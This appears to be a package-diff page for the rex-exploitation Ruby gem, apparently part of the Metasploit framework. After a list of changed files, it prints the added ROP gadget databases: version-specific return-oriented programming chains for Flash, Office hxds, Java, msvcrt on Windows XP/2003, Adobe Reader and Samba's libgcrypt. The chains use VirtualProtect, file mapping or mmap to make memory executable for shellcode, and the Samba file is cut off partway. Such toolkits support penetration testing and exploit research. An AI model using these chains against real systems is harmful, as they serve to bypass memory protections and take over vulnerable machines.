rex-exploitation 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
data/data/ropdb/flash.xml ADDED
@@ -0,0 +1,80 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>11.3.300.257</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0x10000000">
9
+ <gadget offset="0x00243043">POP EAX # RETN</gadget>
10
+ <gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
11
+ <gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
12
+ <gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
13
+ <gadget offset="0x005f0b25">POP EBP # RETN</gadget>
14
+ <gadget offset="0x002ed0f1">jmp esp</gadget>
15
+ <gadget offset="0x003eb988">POP EBX # RETN</gadget>
16
+ <gadget value="0x00000400">0x00000400-> ebx</gadget>
17
+ <gadget offset="0x00662e60">POP EDX # RETN</gadget>
18
+ <gadget value="0x00000040">0x00000040-> edx</gadget>
19
+ <gadget offset="0x0058289d">POP ECX # RETN</gadget>
20
+ <gadget offset="0x00955ebe">Writable location</gadget>
21
+ <gadget offset="0x00414e84">POP EDI # RETN</gadget>
22
+ <gadget offset="0x004de801">RETN (ROP NOP)</gadget>
23
+ <gadget offset="0x0024044c">POP EAX # RETN</gadget>
24
+ <gadget value="nop">nop</gadget>
25
+ <gadget offset="0x00627674">PUSHAD # RETN</gadget>
26
+ </gadgets>
27
+ </rop>
28
+
29
+ <rop>
30
+ <compatibility>
31
+ <target>11.3.300.265</target>
32
+ </compatibility>
33
+
34
+ <gadgets base="0x10000000">
35
+ <gadget offset="0x00487414">POP EAX # RETN</gadget>
36
+ <gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
37
+ <gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
38
+ <gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
39
+ <gadget offset="0x000baf77">POP EBP # RETN</gadget>
40
+ <gadget offset="0x002d8d5c">jmp esp</gadget>
41
+ <gadget offset="0x00005604">POP EBX # RETN</gadget>
42
+ <gadget value="0x00000400">0x00000400-> ebx</gadget>
43
+ <gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
44
+ <gadget value="0x00000040">0x00000040-> edx</gadget>
45
+ <gadget offset="0x004087db">POP ECX # RETN</gadget>
46
+ <gadget offset="0x00955197">Writable location</gadget>
47
+ <gadget offset="0x005be57f">POP EDI # RETN</gadget>
48
+ <gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
49
+ <gadget offset="0x00244a82">POP EAX # RETN</gadget>
50
+ <gadget value="nop">nop</gadget>
51
+ <gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
52
+ </gadgets>
53
+ </rop>
54
+
55
+ <rop>
56
+ <compatibility>
57
+ <target>11.3.300.268</target>
58
+ </compatibility>
59
+
60
+ <gadgets base="0x10000000">
61
+ <gadget offset="0x0012429b">POP ECX # RETN</gadget>
62
+ <gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
63
+ <gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
64
+ <gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
65
+ <gadget offset="0x000a6b69">POP EBP # RETN</gadget>
66
+ <gadget offset="0x002b95bb">jmp esp</gadget>
67
+ <gadget offset="0x0027f328">POP EBX # RETN</gadget>
68
+ <gadget value="0x00000400">0x00000400-> ebx</gadget>
69
+ <gadget offset="0x00686fe5">POP EDX # RETN</gadget>
70
+ <gadget value="0x00000040">0x00000040-> edx</gadget>
71
+ <gadget offset="0x0017e345">POP ECX # RETN</gadget>
72
+ <gadget offset="0x0092027a">Writable location</gadget>
73
+ <gadget offset="0x002a394a">POP EDI # RETN</gadget>
74
+ <gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
75
+ <gadget offset="0x002447d1">POP EAX # RETN</gadget>
76
+ <gadget value="nop">nop</gadget>
77
+ <gadget offset="0x0062857d">PUSHAD # RETN</gadget>
78
+ </gadgets>
79
+ </rop>
80
+ </db>
data/data/ropdb/hxds.xml ADDED
@@ -0,0 +1,66 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>2007</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0x51bd0000">
9
+ <gadget offset="0x000750fd">POP EAX # RETN</gadget>
10
+ <gadget offset="0x00001158">ptr to VirtualProtect()</gadget>
11
+ <gadget offset="0x0001803c">POP EBP # RETN</gadget>
12
+ <gadget offset="0x0001803c">skip 4 bytes</gadget>
13
+ <gadget offset="0x0001750f">POP EBX # RETN</gadget>
14
+ <gadget value="safe_negate_size">Safe size to NEG</gadget>
15
+ <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
16
+ <gadget offset="0x0004df88">NEG EAX # RETN</gadget>
17
+ <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
18
+ <gadget offset="0x0002a7d8">POP EDX # RETN</gadget>
19
+ <gadget value="ffffffc0">0x00000040</gadget>
20
+ <gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
21
+ <gadget offset="0x0004df88">NEG EAX # RETN</gadget>
22
+ <gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget>
23
+ <gadget offset="0x000406e9">POP ECX # RETN</gadget>
24
+ <gadget offset="0x0008bfae">Writable location</gadget>
25
+ <gadget offset="0x0003cc24">POP EDI # RETN</gadget>
26
+ <gadget offset="0x0004df8a">RETN (ROP NOP)</gadget>
27
+ <gadget offset="0x0002d94b">POP ESI # RETN</gadget>
28
+ <gadget offset="0x0002c840">JMP [EAX]</gadget>
29
+ <gadget offset="0x0003a4ec">PUSHAD # RETN</gadget>
30
+ <gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget>
31
+ </gadgets>
32
+ </rop>
33
+
34
+ <rop>
35
+ <compatibility>
36
+ <target>2010</target>
37
+ </compatibility>
38
+
39
+ <gadgets base="0x51bd0000">
40
+ <gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
41
+ <gadget offset="0x0003e4fa">skip 4 bytes</gadget>
42
+ <gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
43
+ <gadget value="safe_negate_size">Safe size to NEG</gadget>
44
+ <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
45
+ <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
46
+ <gadget value="junk">JUNK</gadget>
47
+ <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
48
+ <gadget offset="0x0002a429">POP EDX # RETN</gadget>
49
+ <gadget value="ffffffc0">0x00000040</gadget>
50
+ <gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
51
+ <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
52
+ <gadget value="junk">JUNK</gadget>
53
+ <gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget>
54
+ <gadget offset="0x0006c4b1">POP ECX # RETN</gadget>
55
+ <gadget offset="0x0008c638">Writable location</gadget>
56
+ <gadget offset="0x0000be1d">POP EDI # RETN</gadget>
57
+ <gadget offset="0x00005383">RETN (ROP NOP)</gadget>
58
+ <gadget offset="0x00073335">POP ESI # RETN</gadget>
59
+ <gadget offset="0x0002c7cb">JMP [EAX]</gadget>
60
+ <gadget offset="0x00076452">POP EAX # RETN</gadget>
61
+ <gadget offset="0x000010b8">ptr to VirtualProtect()</gadget>
62
+ <gadget offset="0x0006604e">PUSHAD # RETN</gadget>
63
+ <gadget offset="0x00014534">ptr to 'jmp esp'</gadget>
64
+ </gadgets>
65
+ </rop>
66
+ </db>
data/data/ropdb/java.xml ADDED
@@ -0,0 +1,33 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>*</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0x7c340000">
9
+ <gadget offset="0x00024c66">POP EBP # RETN</gadget>
10
+ <gadget offset="0x00024c66">skip 4 bytes</gadget>
11
+ <gadget offset="0x00004edc">POP EAX # RETN</gadget>
12
+ <gadget value="safe_negate_size">0x00000201</gadget>
13
+ <gadget offset="0x00011e05">NEG EAX # RETN</gadget>
14
+ <gadget offset="0x000136e3">POP EBX # RETN</gadget>
15
+ <gadget value="0xffffffff"></gadget>
16
+ <gadget offset="0x00005255">INC EBX # FPATAN # RETN</gadget>
17
+ <gadget offset="0x0001218e">ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN</gadget>
18
+ <gadget offset="0x00005937">POP EDX # RETN</gadget>
19
+ <gadget value="0xffffffc0">0x00000040</gadget>
20
+ <gadget offset="0x00011eb1">NEG EDX # RETN</gadget>
21
+ <gadget offset="0x0002c5b9">POP ECX # RETN</gadget>
22
+ <gadget offset="0x00051e67">Writable location</gadget>
23
+ <gadget offset="0x00002e58">POP EDI # RETN</gadget>
24
+ <gadget offset="0x0000d202">RETN (ROP NOP)</gadget>
25
+ <gadget offset="0x0000f8f4">POP ESI # RETN</gadget>
26
+ <gadget offset="0x000015a2">JMP [EAX]</gadget>
27
+ <gadget offset="0x00004edc">POP EAX # RETN</gadget>
28
+ <gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
29
+ <gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
30
+ <gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
31
+ </gadgets>
32
+ </rop>
33
+ </db>
data/data/ropdb/msvcrt.xml ADDED
@@ -0,0 +1,71 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>WINDOWS XP SP2</target>
6
+ <target>WINDOWS XP SP3</target>
7
+ </compatibility>
8
+
9
+ <gadgets base="0x77c10000">
10
+ <gadget offset="0x0002b860">POP EAX # RETN</gadget>
11
+ <gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
12
+ <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
13
+ <gadget value="junk">JUNK</gadget>
14
+ <gadget offset="0x0001362c">POP EBX # RETN</gadget>
15
+ <gadget offset="0x0004d9bb">Writable location</gadget>
16
+ <gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
17
+ <gadget offset="0x00040d13">POP EDX # RETN</gadget>
18
+ <gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
19
+ <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
20
+ <gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
21
+ <gadget value="junk">JUNK</gadget>
22
+ <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
23
+ <gadget offset="0x0002ee15">POP EBP # RETN</gadget>
24
+ <gadget offset="0x0002ee15">skip 4 bytes</gadget>
25
+ <gadget offset="0x0002eeef">POP ECX # RETN</gadget>
26
+ <gadget offset="0x0004d9bb">Writable location</gadget>
27
+ <gadget offset="0x0001a88c">POP EDI # RETN</gadget>
28
+ <gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
29
+ <gadget offset="0x0002a184">POP ESI # RETN</gadget>
30
+ <gadget offset="0x0001aacc">JMP [EAX]</gadget>
31
+ <gadget offset="0x0002b860">POP EAX # RETN</gadget>
32
+ <gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
33
+ <gadget offset="0x00002df9">PUSHAD # RETN</gadget>
34
+ <gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
35
+ </gadgets>
36
+ </rop>
37
+
38
+ <rop>
39
+ <compatibility>
40
+ <target>WINDOWS SERVER 2003 SP1</target>
41
+ <target>WINDOWS SERVER 2003 SP2</target>
42
+ </compatibility>
43
+
44
+ <gadgets base="0x77ba0000">
45
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
46
+ <gadget offset="0x00001114">VirtualProtect()</gadget>
47
+ <gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
48
+ <gadget value="junk">JUNK</gadget>
49
+ <gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
50
+ <gadget offset="0x00029801">POP EBP # RETN</gadget>
51
+ <gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
52
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
53
+ <gadget value="0x03C0990F">EAX</gadget>
54
+ <gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
55
+ <gadget offset="0x000148d3">POP EBX, RET</gadget>
56
+ <gadget offset="0x000521e0">.data</gadget>
57
+ <gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
58
+ <gadget offset="0x0001fc02">POP ECX # RETN</gadget>
59
+ <gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
60
+ <gadget offset="0x00038c04">POP EDI # RETN</gadget>
61
+ <gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
62
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
63
+ <gadget value="0x03C0944F">EAX</gadget>
64
+ <gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
65
+ <gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
66
+ <gadget offset="0x00012563">POP EAX # RETN</gadget>
67
+ <gadget value="nop">NOP</gadget>
68
+ <gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
69
+ </gadgets>
70
+ </rop>
71
+ </db>
data/data/ropdb/reader.xml ADDED
@@ -0,0 +1,132 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+
4
+ <rop>
5
+ <compatibility>
6
+ <target>9</target>
7
+ </compatibility>
8
+
9
+ <gadgets base="0x4a800000">
10
+ <gadget offset="0x2313d">pop ecx # ret</gadget>
11
+ <gadget offset="0x2a713">push eax # pop esp # ret</gadget>
12
+ <gadget offset="0x01f90">pop eax # ret</gadget>
13
+ <gadget offset="0x49038">ptr to CreateFileMappingA()</gadget>
14
+ <gadget offset="0x07e7d">call [eax] # ret</gadget>
15
+ <gadget value="0xffffffff">HANDLE hFile</gadget>
16
+ <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
17
+ <gadget value="0x00000040">DWORD flProtect</gadget>
18
+ <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
19
+ <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
20
+ <gadget value="0x00000000">LPCTSTR lpName</gadget>
21
+ <gadget offset="0x0155a">pop edi # ret</gadget>
22
+ <gadget offset="0x43a84">pop ebp # pop ebx # pop ecx # ret</gadget>
23
+ <gadget offset="0x2d4de">pop ebx # ret</gadget>
24
+ <gadget offset="0x01f90">pop eax # ret</gadget>
25
+ <gadget offset="0x476aa">pop ecx # ret</gadget>
26
+ <gadget offset="0x49030">ptr to MapViewOfFile()</gadget>
27
+ <gadget offset="0x44122">mov edx, ecx</gadget>
28
+ <gadget offset="0x476aa">pop ecx # ret</gadget>
29
+ <gadget offset="0x07e7d">call [eax] # ret</gadget>
30
+ <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
31
+ <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
32
+ <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
33
+ <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
34
+ <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
35
+ <gadget offset="0x43a82">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
36
+ <gadget offset="0x46c5e">jmp IAT msvcr80!memcpy</gadget>
37
+ <gadget offset="0x476ab">ret</gadget>
38
+ <gadget value="junk">JUNK</gadget>
39
+ <gadget value="0x00000400">memcpy length</gadget>
40
+ <gadget value="junk">JUNK</gadget>
41
+ <gadget offset="0x17984">xchg eax, ebp # ret</gadget>
42
+ <gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
43
+ </gadgets>
44
+ </rop>
45
+
46
+ <rop>
47
+ <compatibility>
48
+ <target>10</target>
49
+ </compatibility>
50
+
51
+ <gadgets base="0x4a800000">
52
+ <gadget offset="0x26015">pop ecx # ret</gadget>
53
+ <gadget offset="0x2e090">push eax # pop esp # ret</gadget>
54
+ <gadget offset="0x2007d">pop eax # ret</gadget>
55
+ <gadget offset="0x50038">ptr to CreateFileMappingA()</gadget>
56
+ <gadget offset="0x246d5">call [eax] # ret</gadget>
57
+ <gadget value="0xffffffff">HANDLE hFile</gadget>
58
+ <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
59
+ <gadget value="0x00000040">DWORD flProtect</gadget>
60
+ <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
61
+ <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
62
+ <gadget value="0x00000000">LPCTSTR lpName</gadget>
63
+ <gadget offset="0x05016">pop edi # ret</gadget>
64
+ <gadget offset="0x4420c">pop ebp # pop ebx # pop ecx # ret</gadget>
65
+ <gadget offset="0x14241">pop ebx # ret</gadget>
66
+ <gadget offset="0x2007d">pop eax # ret</gadget>
67
+ <gadget offset="0x26015">pop ecx # ret</gadget>
68
+ <gadget offset="0x50030">ptr to MapViewOfFile()</gadget>
69
+ <gadget offset="0x4b49d">mov edx, ecx</gadget>
70
+ <gadget offset="0x26015">pop ecx # ret</gadget>
71
+ <gadget offset="0x246d5">call [eax] # ret</gadget>
72
+ <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
73
+ <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
74
+ <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
75
+ <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
76
+ <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
77
+ <gadget offset="0x14013">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
78
+ <gadget offset="0x4e036">jmp to IAT msvcr90!memcpy</gadget>
79
+ <gadget offset="0x2a8df">ret</gadget>
80
+ <gadget value="junk">JUNK</gadget>
81
+ <gadget value="0x00000400">memcpy length</gadget>
82
+ <gadget value="junk">JUNK</gadget>
83
+ <gadget offset="0x18b31">xchg eax, ebp # ret</gadget>
84
+ <gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
85
+ </gadgets>
86
+ </rop>
87
+
88
+ <rop>
89
+ <compatibility>
90
+ <target>11</target>
91
+ </compatibility>
92
+
93
+ <gadgets base="0x4a800000">
94
+ <gadget offset="0x5822c">pop ecx # ret</gadget>
95
+ <gadget offset="0x2f129">push eax # pop esp # ret</gadget>
96
+ <gadget offset="0x5597f">pop eax # ret</gadget>
97
+ <gadget offset="0x66038">ptr to CreateFileMappingA()</gadget>
98
+ <gadget offset="0x3f1d5">call [eax] # ret</gadget>
99
+ <gadget value="0xffffffff">HANDLE hFile</gadget>
100
+ <gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
101
+ <gadget value="0x00000040">DWORD flProtect</gadget>
102
+ <gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
103
+ <gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
104
+ <gadget value="0x00000000">LPCTSTR lpName</gadget>
105
+ <gadget offset="0x55093">pop edi # ret</gadget>
106
+ <gadget value="junk">JUNK</gadget>
107
+ <gadget offset="0x50030">pop ebx # pop esi # pop ebp # ret</gadget>
108
+ <gadget offset="0x5597f">pop eax # ret</gadget>
109
+ <gadget offset="0x50031">pop esi # pop ebp # ret</gadget>
110
+ <gadget value="junk">JUNK</gadget>
111
+ <gadget offset="0x5822c">pop ecx # ret</gadget>
112
+ <gadget offset="0x3f1d5">call [eax] # ret</gadget>
113
+ <gadget offset="0x5d4f8">pop edx # ret</gadget>
114
+ <gadget offset="0x66030">ptr to MapViewOfFile()</gadget>
115
+ <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
116
+ <gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
117
+ <gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
118
+ <gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
119
+ <gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
120
+ <gadget offset="0x14856">pop edi # pop esi # pop ebp # ret</gadget>
121
+ <gadget offset="0x505a0">memcpy address</gadget>
122
+ <gadget offset="0x60bc4">call eax # ret</gadget>
123
+ <gadget offset="0x505a0">memcpy address</gadget>
124
+ <gadget offset="0x1c376">xchg eax, ebp # ret</gadget>
125
+ <gadget offset="0x463d0">pop ebx # ret</gadget>
126
+ <gadget value="0x00000400">memcpy length</gadget>
127
+ <gadget offset="0x5d4f8">pop edx # ret</gadget>
128
+ <gadget offset="0x5d4f8">pop edx # ret</gadget>
129
+ <gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
130
+ </gadgets>
131
+ </rop>
132
+ </db>
data/data/ropdb/samba.xml ADDED
@@ -0,0 +1,436 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
6
+ </compatibility>
7
+
8
+ <!--
9
+ dpkg -l|grep libgcrypt
10
+ ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
11
+ b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
12
+ b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
13
+ -->
14
+
15
+ <gadgets base="0">
16
+ <gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
17
+ <gadget offset="0x00071ad4">offset of .got.plt section</gadget>
18
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
19
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
20
+ <gadget offset="0x00071af4">mmap@got - 4</gadget>
21
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
22
+ <gadget offset="0x00009974">jmp eax</gadget>
23
+ <gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
24
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
25
+ <gadget value ="0x00001000">mmap arg : size</gadget>
26
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
27
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
28
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
29
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
30
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
31
+ <gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
32
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
33
+ <gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
34
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
35
+ <gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
36
+ <gadget offset="0x00060a1a">pop esi ; ret</gadget>
37
+ <gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
38
+ <gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
39
+ <gadget offset="0x00063dbf">pop eax ; ret</gadget>
40
+ <gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
41
+ <gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
42
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
43
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
44
+ <gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
45
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
46
+ <gadget offset="0x00071b6c">memcpy@got - 4</gadget>
47
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
48
+ <gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
49
+ <!-- set ecx to same value than edx -->
50
+ <gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
51
+ <gadget offset="0x00063dbf">pop eax; ret</gadget>
52
+ <gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
53
+ <gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
54
+ <gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
55
+ <gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
56
+ <gadget offset="0x00060a1a">pop esi ; ret</gadget>
57
+ <gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
58
+ <gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
59
+ <gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
60
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
61
+ <gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
62
+ <gadget value ="size">payload size</gadget>
63
+ </gadgets>
64
+
65
+
66
+
67
+
68
+ </rop>
69
+ <rop>
70
+ <compatibility>
71
+ <target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
72
+ <target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
73
+ </compatibility>
74
+
75
+ <!--
76
+ dpkg -l|grep libgcr
77
